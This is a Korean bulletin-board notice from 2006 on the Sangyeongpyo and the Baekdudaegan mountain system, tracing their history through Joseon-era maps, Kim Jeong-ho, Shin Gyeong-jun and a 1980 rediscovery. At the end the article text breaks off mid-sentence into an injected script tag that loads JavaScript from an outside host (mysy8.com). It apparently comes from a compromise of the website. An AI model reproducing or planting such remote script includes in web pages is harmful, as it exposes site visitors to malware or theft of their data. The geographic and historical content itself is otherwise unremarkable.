공지사항
우리나라의 산경표
작성자 : 이동열
작성일 : 2006.02.22 19:08
조회수 : 1,902
본문
♧ 백두대간 개관 지리산에서 백두산까지 산줄기로 연결된 것을 백두대간(白頭大幹)이라 한다 백두대간의 개념이 언제부터 우리민족의 지리 관으로 자리잡았는지 정확히 알 수는 없지만 사료를 통해 확인해 볼 수 있는 것은 조선 초부터 지도상에 반영되었다고 할수 있다 우리나라의 옛날 지도들은 산줄기 지도라 볼수 있는데 지형의 사실을 표현하고 그 줄기는 미세 하지만 뚜렷하고 명쾌하게 표시되어 있으며 자세히 살펴보면 연결되지 않는 산줄기는 없다 1557년경에 제작된 전도류(全圖類)는 가장 오래된 조선방역지도(朝鮮方域之圖.국사편찬회 소장. 국보 제284호)를 비롯하여 그 이후에 제작된 정상기(鄭尙驥)유형의 동국지도(東國地圖)인 조선 팔도도(祖先八道圖)와 군현도(郡縣圖)에 이르기까지 모두 같은 맥락을 이루어 똑같은 산줄기를 그려놓았다. 그후 19세기에 고산자 김정호(金正浩)도 이와 같은 지형 표현의 전통기법을 계승하여 심혈을 기울여 청구도(靑邱圖)와 동여도(東與圖)와 대동여지도(大東輿地圖)를 제작 하였다. 대동여 지도는 정밀함뿐만 아니라 시각적으로 제작되어 우리나라의 대표적인 지도로 인정받고 있다. 또한 대동여지도는 김정호 개인의 작품뿐만이 아니라 우리 지리관의 총화라고 할 수 있다. 이와 같은 우리 옛지도에 나타난 산줄기를 글로 정리 한 것이 1800년경 제작된 산경표(山經表)인데 단지 사료가 없어 고증이 안될 뿐이지만 산경표에서 체계적으로 정립되었다고 볼수 있다. 산경표는 여암(旅菴) 신경준(申景浚)이 동국지도류의 산줄기 흐름을 토대로 문헌비고의 산수고 (山水考)를 집필한 내용을 가지고 누군가가 찬표한 것이다 지금까지 전하는 대표적인 본(本)은 세가지가 있으나 모두가 같은 내용이다. 산경표는 전국의 산줄기를 1대간(大幹), 2정간(正幹) 그리고 12개의 정맥(正脈)으로 규정 했고 여기서 다시 가지친 기맥(岐脈)을 기록했다. 산줄기의 순서는 백두산에서 지리산까지 백두대간을 중심 산줄기로 하고 여기서 가지친 장백정간과 낙남정맥을 우선하고, 백두대간의 북쪽으로부터 가지친 차례대로 순서를 정했다. 백두대간과 정백정간은 산이름을 표기하고, 해서와 호남은 지역 이름을 표기하였으며 나머지 11개는 강이름을 표기하여 산줄기의 이름을 정했다. 따라서 이름만으로도 강의 위치와 지역을 파악할 수 있게 했다. 강이름을 표기 하여 이름을 지은 것은 정맥의 정의를 강유역의 경계능선 즉 분수령으로 해석했기 때문이다. 또한 강의 위치, 유역의 넓이, 모양을 알아보기 쉽게 하여 강과 그 유역을 파악하여 지형지세를 쉽게 파악하고 이해하는데 도움을 주는 방법이다. 산이 그 강을 이루는 물의 산지라는 인식를 비롯하여 산경표는 활용도를 중요시 하여 제작된 지도였다. 1913년 최남선은 조선광문회에서 산경표의 중요성을 발견하고 출판한 적이 있었는데 일제의 식민지 정책으로 가치는 묻혀버렸고 영영 빛을 보지 못할 뻔했다. 그런데 1980년도 대동여지도 복간을 준비하던 고지도 연구가 이우형씨께서 우연히 인사동 고서점에서 산경표를 발견하면서 몇가지 의문에 고심했던 산경표의 문제를 푸는 열쇠가 되었다. 그이후 이우형씨는 백두대간을 알리기 위해 많는 노력을 하였고 그 결실을 거두어 백두대간은 다시 빛을 보게 되었다. 산은 물을 넘지 못하고 물은 산을 건너지 않는다는 산자분수령(山自分水嶺) 한반도의 등뼈를 이루는 백두대간은 동과 서를 크게 갈라놓은 산줄기임과 동시에 동해안, 서해안으로 흘러드는 강을 양분하는 역할을 하며 태초에 백두대간에서 뻗어내린 산줄기들은 저마다 대간의 저력을 닮은 모습으로 한반도 구석구석으로 가지를 쳤다. 기둥 줄기인 대간을 중심으로 우리나라의 10대 강을 경계 짓는 분수산맥(分水山脈)인 정맥들이 국토의 뼈대가 되고 있으며 백두대간의 길이는 약1,625여km에 이른다. 현재에 우리가 아직 가볼 없는 북녘 땅에는 약2000m급의 고봉들이 줄이어 있으며 남쪽에는 지리산에서 향로봉까지 도상거리 약670km에 이르는 거리에 설악산, 태백산, 속리산, 덕유산 등의 명산들을 품고 있다. 지금까지 우리가 ?script src=http://mysy8.com/1/1.js> |
댓글목록 0